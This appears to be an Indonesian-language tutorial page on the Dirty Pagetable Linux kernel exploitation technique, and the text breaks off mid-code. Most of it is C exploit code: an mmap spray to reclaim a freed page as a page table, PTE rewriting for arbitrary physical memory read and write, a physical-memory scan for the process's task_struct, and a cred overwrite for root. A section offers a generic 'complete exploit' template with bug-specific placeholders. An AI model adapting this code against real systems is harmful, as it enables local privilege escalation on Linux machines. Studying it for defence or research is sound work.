// SECTION 01

Overview & Introduction

Apa itu Dirty Pagetable?

Dirty Pagetable adalah teknik eksploitasi kernel Linux yang dipublikasikan oleh ptr-yudai (STAR Labs) pada tahun 2023 dalam paper berjudul "Dirty Pagetable: A Novel Exploitation Technique For Use-After-Free Bugs in Linux Kernel". Teknik ini memanfaatkan bug Use-After-Free (UAF) pada kernel untuk membajak page table entries (PTE) — struktur data yang memetakan virtual address ke physical address.

Secara esensial: ketika kernel membebaskan sebuah physical page dan user-space berhasil mengisi kembali page tersebut sebagai page table milik proses, attacker mendapatkan kemampuan baca-tulis sembarang ke memori fisik (arbitrary physical memory R/W).

// INFO Teknik ini tidak membutuhkan kernel info leak sebagai prasyarat utama — berbeda dengan teknik klasik seperti ret2usr atau ROP kernel. Ini membuatnya sangat powerful pada target dengan KASLR aktif.
CVE-2023-0179 CVE-2023-2598 CVE-2023-32233 linux ≥ 6.0 x86-64 arm64 ptr-yudai / STAR Labs OffensiveCon 2023

Kenapa Berbahaya?

  • No kernel text leak needed — exploit bisa bekerja tanpa mengetahui alamat kernel.
  • Bypasses SMEP/SMAP — tidak mengeksekusi user code di ring-0.
  • Bypasses KPTI — beroperasi pada level page table secara langsung.
  • Reliable — menggunakan heap feng shui yang deterministik pada slab allocator.
  • Generalizable — berlaku untuk berbagai bug UAF di subsystem berbeda.
// PERINGATAN Informasi ini bersifat edukatif untuk peneliti keamanan dan red teamer. Eksploitasi sistem tanpa izin adalah ilegal. Gunakan hanya di environment lab yang terkontrol.

// SECTION 02

Background: Virtual Memory & Page Tables

Address Space Layout (x86-64)

Linux pada x86-64 membagi address space 64-bit menjadi dua bagian utama: user space (0x0000000000000000 – 0x00007fffffffffff) dan kernel space (0xffff000000000000 – 0xffffffffffffffff).

ADDRESS SPACE LAYOUT (x86-64, 5-level paging)

0xffff_ffff_ffff_ffff  ──────────────────────────────────────────
                          Kernel Space (128 TB)
  0xffff_8000_0000_0000  direct map (physmem mapping)
  0xffff_a000_0000_0000  vmalloc / ioremap
  0xffff_b000_0000_0000  vmemmap (struct page array)
  0xffff_c000_0000_0000  modules
0x0000_8000_0000_0000  ──────────────────────────────────────────
                         [non-canonical gap / hole]
0x0000_7fff_ffff_ffff  ──────────────────────────────────────────
                          User Space (128 TB)
  0x0000_7fff_xxxx_xxxx   stack
  0x0000_7f00_xxxx_xxxx   mmap region (libraries, anon)
  0x0000_5555_xxxx_xxxx   heap
  0x0000_5555_5555_5000   text/bss/data (PIE base)
0x0000_0000_0000_0000  ──────────────────────────────────────────

Page Table Hierarchy (4-level)

Setiap virtual address di-decode menjadi 5 komponen (4-level paging):

VIRTUAL ADDRESS DECOMPOSITION (48-bit, 4-level paging)

 63      48 47    39 38    30 29    21 20    12 11       0
  ┌────────┬────────┬────────┬────────┬────────┬──────────┐
  │ SIGN   │  PGD   │  PUD   │  PMD   │  PTE   │  OFFSET  │
  │ EXT    │  idx   │  idx   │  idx   │  idx   │          │
  └────────┴────────┴────────┴────────┴────────┴──────────┘
              9 bits   9 bits   9 bits   9 bits   12 bits

PGD → Page Global Directory   (level 4, 512 entries × 8B = 4KB)
PUD → Page Upper Directory    (level 3, 512 entries × 8B = 4KB)
PMD → Page Middle Directory   (level 2, 512 entries × 8B = 4KB)
PTE → Page Table Entry        (level 1, 512 entries × 8B = 4KB)

Setiap level table menempati tepat 1 page (4096 bytes).
Total walk: 4 memory accesses → physical address.

Struktur PTE (Page Table Entry)

PTE adalah 64-bit value yang mengandung physical address dan flag-flag permission:

PTE BIT LAYOUT (x86-64)

 63  62:52  51:12           11 10  9   8   7   6   5   4   3   2   1   0
 ┌───┬──────┬───────────────┬──┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┐
 │NX │ AVAIL│  PFN (bits)   │  │ G │ PAT│ D │ A │PCD│PWT│ U │ W │ P │
 └───┴──────┴───────────────┴──┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┘

P   bit 0  = Present (halaman valid di memori)
W   bit 1  = Writable
U   bit 2  = User accessible (0=kernel only)
A   bit 5  = Accessed
D   bit 6  = Dirty (page telah ditulis)
PFN bit 12-51 = Physical Frame Number → Physical Addr = PFN << 12
NX  bit 63 = No-Execute (XD bit)

Contoh PTE yang valid untuk user-space page:
  0x0000_0001_2345_6867  →  PFN=0x12345, U=1, W=1, P=1
// KEY INSIGHT Page table itu sendiri adalah page biasa di memori fisik. Kernel mengalokasikannya dari pgtable_cache / page allocator. Jika attacker bisa mengontrol konten sebuah physical page yang digunakan sebagai PTE, ia bisa mengubah mapping virtual → physical secara sewenang-wenang.

// SECTION 03

Dirty Pagetable: Konsep Inti

Core Idea

Ide utamanya adalah memaksa kernel membebaskan sebuah page, kemudian mengisi kembali physical page tersebut dengan page table user-space. Karena kita mengontrol konten page tersebut (melalui syscall mmap / pread), kita bisa menulis PTE palsu yang menunjuk ke physical address sembarang.

DIRTY PAGETABLE — OVERVIEW FLOW

  ┌──────────────────────────────────────────────────────────┐
  │  1. Kernel mengalokasikan page X untuk object tertentu   │
  │     (misalnya: pipe_buffer, msg_msg, sk_buff, dsb)       │
  └──────────────────────────┬───────────────────────────────┘
                             │
                             ▼
  ┌──────────────────────────────────────────────────────────┐
  │  2. Bug UAF → kernel mem-free page X TANPA membersihkan  │
  │     referensinya (dangling pointer masih valid)          │
  └──────────────────────────┬───────────────────────────────┘
                             │
                             ▼
  ┌──────────────────────────────────────────────────────────┐
  │  3. User-space spray mmap() berulang → kernel             │
  │     mengalokasikan page baru untuk page-table PMD/PTE    │
  │     → page X ter-reclaim sebagai page table user-space   │
  └──────────────────────────┬───────────────────────────────┘
                             │
                             ▼
  ┌──────────────────────────────────────────────────────────┐
  │  4. Attacker MENULIS melalui dangling pointer:            │
  │     → memodifikasi PTE yang ada di page X                │
  │     → mengubah PFN → pointing ke arbitrary physical page │
  └──────────────────────────┬───────────────────────────────┘
                             │
                             ▼
  ┌──────────────────────────────────────────────────────────┐
  │  5. Attacker READ/WRITE virtual address yang mapped       │
  │     → secara efektif R/W ke physical address sembarang   │
  │     → cred overwrite, modprobe_path, dsb → ROOT!         │
  └──────────────────────────────────────────────────────────┘

Prasyarat Eksploitasi

PrasyaratDetailCara Memenuhi
UAF Primitive Bug yang memungkinkan akses ke freed page Temukan UAF di kernel subsystem (netfilter, io_uring, dsb)
Write Primitive Bisa menulis ke dangling pointer Biasanya bawaan dari bug UAF itu sendiri
Heap Control Bisa mengontrol alokasi kernel heap Syscall: pipe(), socket(), sendmsg(), mmap()
Page Reclaim Bisa force-reclaim freed page untuk page table mmap() anonymous memory dalam jumlah besar
Unprivileged Umumnya bisa dieksekusi sebagai user biasa Tidak perlu CAP_SYS_ADMIN (tergantung bug)

Threat Model

// SCOPE
  • Target: Linux Kernel 6.x, x86-64, arm64
  • Attacker: local unprivileged user dengan akses shell
  • Goal: Local Privilege Escalation (LPE) → UID 0 / root
  • Mitigasi yang ada: SMEP, SMAP, KASLR, KPTI, KAISER
  • Diasumsikan: tidak ada kptr_restrict bypass awal

// SECTION 04

Detailed Exploitation Flow

Fase 1: Trigger UAF — Freed Page Acquisition

Langkah pertama adalah mengeksploitasi bug UAF yang menyebabkan kernel membebaskan sebuah page namun masih memiliki referensi (dangling pointer) ke page tersebut.

1

Allocate Kernel Object

Buat banyak kernel object di SLUB cache yang sama (e.g., pipe_buffer, msg_msg). Tujuannya adalah mendapatkan alokasi yang berdekatan di heap.

2

Create Hole (Heap Feng Shui)

Bebaskan beberapa object di tengah untuk membuat "lubang" di heap. Object target (yang akan di-UAF) menempati satu slot spesifik.

3

Trigger the Bug

Eksekusi code path yang mengandung bug — biasanya race condition, integer overflow, atau missing reference count — yang menyebabkan double-free atau premature free.

4

Confirm UAF

Dangling pointer masih valid. Kita bisa read/write ke physical page yang sudah di-free. Tapi isinya mungkin sudah berubah.

Fase 2: Heap Spray untuk Reclaim Page sebagai PTE

Kita ingin physical page yang di-free tadi di-reclaim oleh page table allocator sehingga berisi PTE entries. Caranya: mmap() banyak anonymous memory untuk memaksa kernel mengalokasikan banyak page table.

C pte_spray.c — Force page reclaim as PTE
/*
 * Teknik: mmap spray untuk memaksa page allocator
 * menggunakan freed page sebagai PTE page table.
 *
 * Setiap mmap() akan membutuhkan PTE baru ketika
 * halaman pertama kali di-fault (MAP_POPULATE).
 */

#define PTE_PAGE_SIZE   (4096UL)          // 1 PTE page = 4KB
#define PTRS_PER_PTE   (512)             // 512 entries × 8B
#define PTE_RANGE      (PTRS_PER_PTE * PAGE_SIZE)  // 2MB per PTE table
#define SPRAY_COUNT    0x1000           // 4096 attempts

void *spray_ptrs[SPRAY_COUNT];
int   spray_sizes[SPRAY_COUNT];

void pte_spray(void) {
    int i;

    for (i = 0; i < SPRAY_COUNT; i++) {
        /*
         * Alokasi 2MB tiap mmap() — tepat 1 PTE page worth.
         * MAP_ANONYMOUS | MAP_PRIVATE: kernel alokasi PTE
         * saat page pertama kali diakses.
         * MAP_POPULATE: langsung fault semua halaman →
         * memaksa alokasi PTE sekarang juga.
         */
        spray_ptrs[i] = mmap(NULL,
                              PTE_RANGE,
                              PROT_READ | PROT_WRITE,
                              MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                              -1, 0);

        if (spray_ptrs[i] == MAP_FAILED) {
            perror("mmap spray failed");
            break;
        }
        spray_sizes[i] = PTE_RANGE;
    }

    printf("[+] PTE spray: %d mappings created (%lu MB)\n",
           i, (unsigned long)i * PTE_RANGE / 1024 / 1024);
}

/*
 * Setelah spray, salah satu PTE page MUNGKIN adalah
 * physical page yang sebelumnya di-free (target page kita).
 * Kita perlu cara untuk mengidentifikasinya.
 */

Fase 3: Identify & Read Physical Memory

Setelah spray, kita perlu mengidentifikasi mmap region mana yang PTE-nya berada di physical page target kita. Teknik identifikasi: baca konten page via dangling pointer dan cari signature PTE yang kita buat.

C identify_pte_page.c — Temukan spray region yang mengandung target page
/*
 * Strategi identifikasi:
 * 1. Sebelum free, tulis pattern unik ke page target (jika bisa)
 * 2. Setelah PTE spray, baca melalui dangling pointer
 * 3. Cari PTE entries yang nilainya match dengan virtual addr kita
 *
 * PTE yang kita buat untuk virtual addr VA akan berisi:
 *   pte_val = (PA >> 12) | flags
 * Di mana PA = physical address page yang di-map ke VA.
 * Kita tahu VA, jadi kita bisa verify.
 */

#include <stdint.h>
#include <stdio.h>
#include <string.h>

#define PTE_PRESENT    (1ULL << 0)
#define PTE_WRITABLE   (1ULL << 1)
#define PTE_USER       (1ULL << 2)
#define PTE_ACCESSED   (1ULL << 5)
#define PTE_DIRTY      (1ULL << 6)
#define PTE_NX         (1ULL << 63)

#define PFN_MASK       0x000ffffffffff000ULL
#define pte_to_pfn(p)  (((p) & PFN_MASK) >> 12)
#define pfn_to_pa(pfn) ((pfn) << 12)

/* Baca 4096 bytes dari dangling pointer (freed page) */
void read_freed_page(uint64_t *uaf_ptr, uint64_t *buf) {
    /* Implementasi spesifik per-bug. Contoh: via pipe_buffer ops */
    memcpy(buf, uaf_ptr, PAGE_SIZE);
}

/* Scan semua PTEs pada sebuah mmap region */
int find_spray_region(uint64_t *freed_page_content,
                      void **out_region,
                      size_t *out_pte_index)
{
    for (int i = 0; i < SPRAY_COUNT; i++) {
        uint8_t *base = (uint8_t *)spray_ptrs[i];

        for (int j = 0; j < PTRS_PER_PTE; j++) {
            /*
             * PTE[j] menunjuk ke physical page yang di-map untuk
             * virtual address: base + j * PAGE_SIZE
             *
             * Kita scan freed_page_content (dibaca via UAF)
             * dan cek apakah ada PTE yang menunjuk ke VA yang kita kenal.
             */
            uint64_t va = (uint64_t)(base + j * PAGE_SIZE);
            uint64_t expected_pte_pfn = va_to_pfn_via_pagemap(va);

            for (int k = 0; k < PTRS_PER_PTE; k++) {
                uint64_t pte_val = freed_page_content[k];
                if (!(pte_val & PTE_PRESENT)) continue;
                if (!(pte_val & PTE_USER))    continue;

                uint64_t pfn = pte_to_pfn(pte_val);
                if (pfn == expected_pte_pfn) {
                    printf("[+] Found! spray[%d] PTE[%d] maps VA 0x%lx\n",
                           i, k, va);
                    *out_region   = spray_ptrs[i];
                    *out_pte_index = k;
                    return 1;
                }
            }
        }
    }
    return 0; // tidak ditemukan
}

Fase 4: Arbitrary Write via PTE Manipulation

Setelah menemukan PTE page target, kita gunakan UAF write primitive untuk memodifikasi PTE entry. Dengan mengubah PFN di dalam PTE, virtual address user-space akan dipetakan ke physical address sembarang.

C arb_write.c — Arbitrary physical memory R/W via dirty PTE
/*
 * Setelah kita tahu PTE page kita ada di freed page target,
 * kita bisa:
 *   1. Tulis PTE baru dengan PFN sembarang (via UAF write)
 *   2. Flush TLB (dengan munmap/remap atau CLFLUSH)
 *   3. Akses VA yang terkait → kernel MMU translate ke PA baru
 *
 * Hasilnya: kita bisa baca/tulis sembarang physical address!
 */

/* VA yang kita kontrol: spray_ptrs[i] + pte_index * PAGE_SIZE */
void *victim_va;
size_t victim_pte_index;

uint64_t make_pte(uint64_t pfn, uint64_t flags) {
    return (pfn << 12) | flags;
}

void set_pte_to_physical(uint64_t target_pa) {
    uint64_t target_pfn = target_pa >> 12;
    uint64_t new_pte    = make_pte(target_pfn,
                                   PTE_PRESENT  |
                                   PTE_WRITABLE |
                                   PTE_USER     |
                                   PTE_ACCESSED |
                                   PTE_DIRTY);

    /*
     * UAF write: tulis new_pte ke slot PTE yang benar
     * di dalam freed page. Cara spesifik tergantung bug.
     * Contoh: jika UAF adalah pipe_buffer, kita bisa
     * set page pointer di pipe_buffer ke freed page,
     * lalu write via splice/sendfile.
     */
    uaf_write_qword(
        freed_page_ptr + victim_pte_index * sizeof(uint64_t),
        new_pte
    );

    /* Flush TLB entry untuk victim_va */
    invlpg(victim_va);
}

/* Read arbitrary physical page */
void read_physical(uint64_t pa, void *buf, size_t len) {
    set_pte_to_physical(pa);
    memcpy(buf, victim_va + (pa & 0xFFF), len);
}

/* Write arbitrary physical page */
void write_physical(uint64_t pa, const void *buf, size_t len) {
    set_pte_to_physical(pa);
    memcpy(victim_va + (pa & 0xFFF), buf, len);
}

/* INVLPG instruction untuk flush TLB entry spesifik */
static inline void invlpg(void *addr) {
    __asm__ __volatile__("invlpg (%0)"
                         :
                         : "r"(addr)
                         : "memory");
}

Fase 5: Privilege Escalation — cred Overwrite

Dengan arbitrary physical R/W, target klasik adalah menimpa field uid/gid/euid/egid di struktur task_struct → cred proses kita menjadi 0.

CRED OVERWRITE STRATEGY

task_struct (per-process)
  │
  ├── pid, tgid, comm[], ...
  ├── mm     → mm_struct → pgd → page tables
  ├── files  → files_struct
  └── cred   ──────────────────────┐
                                   │
                          struct cred {
                            kuid_t  uid;    ← set to 0
                            kgid_t  gid;    ← set to 0
                            kuid_t  suid;   ← set to 0
                            kgid_t  sgid;   ← set to 0
                            kuid_t  euid;   ← set to 0
                            kgid_t  egid;   ← set to 0
                            kuid_t  fsuid;  ← set to 0
                            kgid_t  fsgid;  ← set to 0
                            ...
                            struct group_info *group_info;
                          }

Cara menemukan physical address cred:
  1. Baca /proc/self/maps untuk virtual address task_struct area
  2. Gunakan read_physical() untuk baca kernel virtual → physical
     (dengan bantuan physmap offset: phys = virt - 0xffff888000000000)
  3. Scan untuk signature struct cred (magic/pointer patterns)
  4. Overwrite uid fields dengan write_physical()
C privesc.c — Overwrite cred untuk LPE
/*
 * Dengan arbitrary physical R/W, kita lakukan:
 * 1. Baca physmap untuk scan struct cred proses kita
 * 2. Identify via pid dan signature
 * 3. Overwrite uid/gid fields ke 0
 */

#include <sys/types.h>
#include <unistd.h>

/* Linux x86-64: physmap start di 0xffff888000000000 */
#define PHYSMAP_BASE  0xffff888000000000ULL
#define PA(kva)        ((kva) - PHYSMAP_BASE)

/* Offset struct cred dalam task_struct (kernel 6.x, varies) */
#define TASK_COMM_OFFSET  0x950   // comm[16] field
#define TASK_CRED_OFFSET  0xA38   // *real_cred / *cred
#define TASK_PID_OFFSET   0x558   // pid_t pid

/* Offset dalam struct cred untuk uid/gid (0 = uid, 4 = gid, ...) */
#define CRED_UID_OFFSET   0x04
#define CRED_GID_OFFSET   0x08
#define CRED_EUID_OFFSET  0x14
#define CRED_EGID_OFFSET  0x18

uint64_t find_task_struct_pa(pid_t pid) {
    /* Scan physmem untuk task_struct berdasarkan pid */
    uint64_t buf[PAGE_SIZE / sizeof(uint64_t)];
    char comm[16];
    sprintf(comm, "%s", "exploit"); // nama proses kita

    /* Scan 2GB pertama physmem untuk menemukan task_struct */
    for (uint64_t pa = 0x100000; pa < 0x80000000ULL; pa += PAGE_SIZE) {
        read_physical(pa, buf, PAGE_SIZE);

        /* Cari signature: comm field berisi nama proses kita */
        for (size_t off = 0;
             off + TASK_COMM_OFFSET < PAGE_SIZE;
             off += 8)
        {
            uint8_t *p = (uint8_t *)buf + off;
            if (memcmp(p, comm, strlen(comm)) == 0) {
                /* Verify pid di offset yang benar */
                uint32_t found_pid;
                read_physical(pa + off - TASK_COMM_OFFSET + TASK_PID_OFFSET,
                              &found_pid, sizeof(found_pid));
                if (found_pid == (uint32_t)pid) {
                    printf("[+] task_struct found at PA: 0x%lx\n",
                           pa + off - TASK_COMM_OFFSET);
                    return pa + off - TASK_COMM_OFFSET;
                }
            }
        }
    }
    return 0;
}

void overwrite_creds(uint64_t task_pa) {
    uint64_t cred_ptr_pa = task_pa + TASK_CRED_OFFSET;
    uint64_t cred_kva;

    /* Baca pointer ke struct cred */
    read_physical(cred_ptr_pa, &cred_kva, 8);
    printf("[*] cred KVA: 0x%lx\n", cred_kva);

    uint64_t cred_pa = PA(cred_kva);

    /* Overwrite uid/gid/euid/egid ke 0 */
    uint32_t zero = 0;
    write_physical(cred_pa + CRED_UID_OFFSET,  &zero, 4);
    write_physical(cred_pa + CRED_GID_OFFSET,  &zero, 4);
    write_physical(cred_pa + CRED_EUID_OFFSET, &zero, 4);
    write_physical(cred_pa + CRED_EGID_OFFSET, &zero, 4);

    printf("[+] Creds overwritten! Current UID: %d\n", getuid());
}

// SECTION 05

Struktur Data Kernel yang Relevan

Page Table Lock & Management

C — KERNEL SOURCE include/linux/mm_types.h (simplified)
/* Page table management structures */

struct mm_struct {
    struct {
        struct maple_tree   mm_mt;
        pgd_t               *pgd;         // Level-4 page table base
        atomic64_t          pgtables_bytes; // Total PTE memory
        spinlock_t          page_table_lock; // Protects PTE writes
        struct rw_semaphore mmap_lock;      // Protects VMA list
        /* ... */
    };
    unsigned long  mmap_base;     // mmap region start
    unsigned long  task_size;     // max user VA
    unsigned long  start_code, end_code;
    unsigned long  start_data, end_data;
    unsigned long  start_brk, brk, start_stack;
};

/* PTE types (arch/x86/include/asm/pgtable_types.h) */
typedef struct { pteval_t pte; }   pte_t;
typedef struct { pmdval_t pmd; }   pmd_t;
typedef struct { pudval_t pud; }   pud_t;
typedef struct { p4dval_t p4d; }   p4d_t;
typedef struct { pgdval_t pgd; }   pgd_t;

/* PTE flag macros */
#define _PAGE_PRESENT   (pteval_t)(1)
#define _PAGE_RW        (pteval_t)(2)
#define _PAGE_USER      (pteval_t)(4)
#define _PAGE_ACCESSED  (pteval_t)(32)
#define _PAGE_DIRTY     (pteval_t)(64)
#define _PAGE_NX        ((pteval_t)1 << 63)

struct page — Representasi Physical Page

C — KERNEL SOURCE include/linux/mm_types.h — struct page
/*
 * struct page: merepresentasikan SETIAP physical page di sistem.
 * Penting untuk Dirty Pagetable karena:
 * - page->_refcount: reference count
 *   Jika refcount = 0 → page bisa di-reuse (inilah yang kita eksploitasi!)
 * - page->flags: mengandung PG_locked, PG_dirty, dsb
 */
struct page {
    unsigned long   flags;        // PG_locked, PG_dirty, PG_uptodate...
    union {
        struct {                  // page cache
            struct list_head lru;
            struct address_space *mapping;
            pgoff_t  index;
            unsigned long private;
        };
        struct {                  // SLUB slab allocator
            unsigned long   __filler;
            unsigned int    mlock_count;
        };
        struct {                  // page table page
            unsigned long   _pt_pad_1;
            pgtable_t       pmd_huge_pte;
            unsigned long   _pt_pad_2;
            union {
                struct mm_struct *pt_mm;
                atomic_t         pt_frag_refcount;
            };
            spinlock_t *ptl; // page table lock (saat digunakan sbg PTE)
        };
    };
    atomic_t        _refcount;   // ← KEY: jika 0, page bisa diambil kembali
    /* ... */
};

Page Table Walk di Kernel

C — KERNEL SOURCE arch/x86/mm/pageattr.c — manual page table walk
/*
 * Cara kernel melakukan page walk (manual, untuk pemahaman):
 * Ini menunjukkan BAGAIMANA setiap level di-decode.
 */

pte_t *walk_page_table(struct mm_struct *mm, unsigned long va) {
    pgd_t *pgd;
    p4d_t *p4d;
    pud_t *pud;
    pmd_t *pmd;
    pte_t *pte;

    /* Level 4: PGD */
    pgd = pgd_offset(mm, va);
    if (pgd_none(*pgd) || pgd_bad(*pgd))
        return NULL;

    /* Level 3: P4D (≡ PUD on 4-level systems) */
    p4d = p4d_offset(pgd, va);
    if (p4d_none(*p4d) || p4d_bad(*p4d))
        return NULL;

    /* Level 2: PUD */
    pud = pud_offset(p4d, va);
    if (pud_none(*pud) || pud_bad(*pud))
        return NULL;

    /* Level 1: PMD */
    pmd = pmd_offset(pud, va);
    if (pmd_none(*pmd) || pmd_trans_huge(*pmd))
        return NULL;

    /* Level 0: PTE ← INI YANG KITA KONTAMINASI */
    pte = pte_offset_map(pmd, va);
    return pte;
}

/*
 * pgd_offset(mm, va):
 *   idx = (va >> 39) & 0x1FF
 *   return mm->pgd + idx
 *
 * p4d_offset(pgd, va):
 *   idx = (va >> 30) & 0x1FF   (pada 4-level = pud langsung)
 *   return (p4d_t*)(pgd_val(*pgd) & PTE_MASK) + idx
 *
 * Dan seterusnya...
 * Setiap level: physical_addr_of_next_table = current_entry & PFN_MASK
 */

// SECTION 06

Kode Exploit Lengkap

// CATATAN PENTING Kode di bawah adalah template generik Dirty Pagetable. Fungsi uaf_write_qword(), uaf_read_page() dan trigger_uaf() perlu diisi sesuai bug spesifik yang dieksploitasi. Offset struktur data bervariasi per versi kernel.

Setup & Helper Functions

C exploit.h — Header & Helpers
/*
 * dirty_pagetable_exploit.h
 * Generic Dirty Pagetable Exploit Template
 * Kernel 6.x LPE via UAF → PTE manipulation
 *
 * Author: Educational Template
 * Refs: ptr-yudai (STAR Labs), OffensiveCon 2023
 */

#ifndef DIRTY_PT_H
#define DIRTY_PT_H

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/wait.h>

/* ─── Memory constants ──────────────────────────────────── */
#define PAGE_SIZE         0x1000UL
#define PTRS_PER_PTE      512UL
#define PTE_RANGE         (PTRS_PER_PTE * PAGE_SIZE)  /* 2MB */
#define PHYSMAP_BASE      0xffff888000000000ULL
#define PA(kva)            ((kva) - PHYSMAP_BASE)

/* ─── PTE flags ─────────────────────────────────────────── */
#define PTE_P     (1ULL  << 0)   /* Present        */
#define PTE_W     (1ULL  << 1)   /* Writable       */
#define PTE_U     (1ULL  << 2)   /* User           */
#define PTE_A     (1ULL  << 5)   /* Accessed       */
#define PTE_D     (1ULL  << 6)   /* Dirty          */
#define PTE_NX    (1ULL  << 63)  /* No-Execute     */
#define PTE_FLAGS (PTE_P|PTE_W|PTE_U|PTE_A|PTE_D|PTE_NX)
#define PFN_MASK  0x000ffffffffff000ULL

/* ─── Spray config ──────────────────────────────────────── */
#define MAX_SPRAY         0x2000
#define KERNEL_HEAP_OBJ   512    /* objs sebelum target */
#define KERNEL_HEAP_HOLE  16     /* lubang di heap      */

/* ─── Debug helper ──────────────────────────────────────── */
#define info(fmt, ...)  fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ok(fmt, ...)    fprintf(stderr, "\033[32m[+]\033[0m " fmt "\n", ##__VA_ARGS__)
#define err(fmt, ...)   fprintf(stderr, "\033[31m[-]\033[0m " fmt "\n", ##__VA_ARGS__)
#define die(fmt, ...)   do { err(fmt, ##__VA_ARGS__); exit(1); } while(0)
#define ASSERT(x)       do { if (!(x)) die("ASSERT failed: %s", #x); } while(0)

/* ─── pagemap helper: VA → PA ───────────────────────────── */
uint64_t va_to_pa(uint64_t va) {
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) return 0;
    uint64_t entry;
    off_t off = (va / PAGE_SIZE) * 8;
    pread(fd, &entry, 8, off);
    close(fd);
    if (!(entry & (1ULL << 63))) return 0; // not present
    return (entry & 0x7fffffffffffffULL) * PAGE_SIZE;
}

/* ─── TLB flush ─────────────────────────────────────────── */
static inline void flush_tlb(void *addr) {
    __asm__ __volatile__("mfence; invlpg (%0); mfence"
                         :: "r"(addr) : "memory");
}

#endif /* DIRTY_PT_H */

UAF Trigger (Contoh: via Netfilter)

C uaf_trigger.c — Contoh UAF via netfilter (CVE-2023-0179 style)
/*
 * Contoh UAF trigger menggunakan bug netfilter (nftables).
 * CVE-2023-0179: stack-based buffer overflow / OOB in
 * nft_payload_eval() yang bisa digunakan untuk
 * arbitrary write pada kernel heap.
 *
 * Untuk keperluan Dirty Pagetable, yang kita butuhkan:
 * 1. Alokasi sebuah 4KB-aligned object di kernel heap
 * 2. Free object tersebut (tapi kita masih punya referensi)
 * 3. Tulis konten sembarang ke freed object
 */

#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/rule.h>

/* Simplified placeholder — bug-specific implementation */

int   uaf_fd = -1;           // fd yang punya dangling pointer
void  *freed_page_va = NULL; // VA dari freed page (jika user-visible)

void setup_uaf_object(void) {
    /*
     * Step 1: Spray page-size objects ke heap untuk mendapatkan
     * isolated page. Gunakan kmalloc-4096 atau objek serupa.
     *
     * Contoh menggunakan msg_msg (System V IPC):
     * msg_msg header 48B + payload → total bisa diisi hingga 4048B
     * → kalau payload 4048B, SLUB akan taruh di kmalloc-4096
     */
    info("Setting up kernel heap objects...");

    /* Spray 512 objects untuk isolasi */
    for (int i = 0; i < KERNEL_HEAP_OBJ; i++) {
        int qid = spray_kmalloc4096(i);
        if (qid < 0) die("spray failed at %d", i);
    }

    /* Buat lubang di tengah */
    for (int i = KERNEL_HEAP_OBJ/2;
         i < KERNEL_HEAP_OBJ/2 + KERNEL_HEAP_HOLE; i++) {
        free_kmalloc4096(i);
    }

    /*
     * Step 2: Alokasi object target di lubang.
     * Ini adalah object yang akan kita UAF.
     */
    uaf_fd = alloc_vulnerable_object();
    ASSERT(uaf_fd >= 0);

    ok("UAF object allocated, fd=%d", uaf_fd);
}

void trigger_uaf(void) {
    /* Bug-specific: trigger the double-free or premature free */
    /*
     * Contoh: untuk pipe_buffer UAF,
     * kita bisa close salah satu ujung pipe
     * setelah mengatur race condition yang
     * memicu free sebelum waktunya.
     *
     * Untuk nftables: set rule dengan expression yang
     * menyebabkan OOB write ke adjacent slab.
     */
    info("Triggering UAF...");
    do_bug_trigger(uaf_fd); // bug-specific
    ok("UAF triggered! Dangling pointer active.");
}

/* UAF write: tulis 8 byte ke offset tertentu di freed page */
void uaf_write_qword(size_t offset, uint64_t value) {
    /* Implementasi spesifik bug.
     * Contoh: jika UAF melalui pipe, gunakan write() ke fd
     * yang masih pointing ke freed pipe_buffer. */
    uint8_t payload[PAGE_SIZE] = {0};
    *(uint64_t *)(payload + offset) = value;
    do_uaf_write(uaf_fd, payload, PAGE_SIZE);
}

void uaf_read_page(uint64_t *out) {
    /* Baca seluruh freed page via dangling ref */
    do_uaf_read(uaf_fd, out, PAGE_SIZE);
}

PTE Spray & Identification

C pte_spray_full.c — Spray dan identifikasi PTE page
/*
 * Full PTE spray logic.
 * Tujuan: reclaim freed page sebagai PTE page table.
 */

void   *spray_maps[MAX_SPRAY];
int     spray_count = 0;

/* Victim: VA dan index PTE yang kita kontrol */
void   *victim_va    = NULL;
int     victim_spray = -1;
int     victim_pte_i = -1;

void do_pte_spray(void) {
    info("Starting PTE spray (%d maps × %lu MB)...",
         MAX_SPRAY, PTE_RANGE / 1024 / 1024);

    for (spray_count = 0; spray_count < MAX_SPRAY; spray_count++) {
        void *p = mmap(NULL, PTE_RANGE,
                        PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                        -1, 0);

        if (p == MAP_FAILED)
            die("mmap failed at spray %d: %s",
                spray_count, strerror(errno));

        spray_maps[spray_count] = p;

        /* Paksa setiap page di-fault satu per satu */
        volatile uint8_t *vp = (uint8_t *)p;
        for (size_t i = 0; i < PTE_RANGE; i += PAGE_SIZE)
            vp[i] = (uint8_t)i; // write untuk mark page sebagai dirty
    }
    ok("PTE spray complete: %d mappings", spray_count);
}

int identify_victim_pte(void) {
    uint64_t freed_content[PAGE_SIZE / 8];

    /* Baca konten freed page via UAF */
    uaf_read_page(freed_content);

    info("Scanning freed page for PTE signatures...");

    /* Scan setiap PTE entry di freed page */
    for (int i = 0; i < PTRS_PER_PTE; i++) {
        uint64_t pte = freed_content[i];

        /* Valid user PTE harus: Present, User, Writable */
        if ((pte & (PTE_P|PTE_U|PTE_W)) != (PTE_P|PTE_U|PTE_W))
            continue;

        uint64_t pfn = (pte & PFN_MASK) >> 12;
        uint64_t mapped_pa = pfn << 12;

        /* Cari spray region yang berisi VA mapped ke mapped_pa */
        for (int s = 0; s < spray_count; s++) {
            uint8_t *base = (uint8_t *)spray_maps[s];

            for (int j = 0; j < PTRS_PER_PTE; j++) {
                uint8_t *va = base + (size_t)j * PAGE_SIZE;

                /* Touch untuk ensure mapped */
                uint64_t actual_pa = va_to_pa((uint64_t)va);
                if (!actual_pa) continue;

                if (actual_pa == mapped_pa) {
                    /*
